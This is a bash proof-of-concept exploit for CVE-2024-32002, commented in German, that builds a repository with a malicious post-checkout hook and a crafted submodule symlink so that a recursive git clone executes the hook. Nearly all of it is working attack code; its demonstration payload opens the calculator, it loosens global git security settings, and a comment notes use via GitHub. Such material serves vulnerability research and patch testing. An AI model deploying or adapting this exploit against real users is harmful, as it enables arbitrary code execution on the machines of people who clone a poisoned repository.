
Proof-of-Concept-Exploit für CVE-2024-32002, der die Remotecodeausführung über einen bösartigen Post-Checkout-Hook mittels Git-Submodulen und Symlinks demonstriert.
#!/bin/bash
# Git-Konfigurationsoptionen setzen
git config --global protocol.file.allow always
git config --global core.symlinks true
# Warnmeldungen vermeiden (Standard-Branch auf main setzen)
git config --global init.defaultBranch main
# Tell-tale-Pfad definieren
tell_tale_path="$PWD/tell.tale"
# Hook-Repository initialisieren
git init hook
cd hook
mkdir -p y/hooks
# Schadcode in Hook schreiben, für Windows- und Mac-Umgebungen angepasst
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Hook ausführbar machen: wichtig
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Hook-Repository-Pfad definieren
hook_repo_path="$(pwd)/hook"
# Captain-Repository initialisieren
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Symbolischen Link erstellen
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Lokaler Test, beim Hochladen auf GitHub nicht notwendig
git clone --recursive captain hooked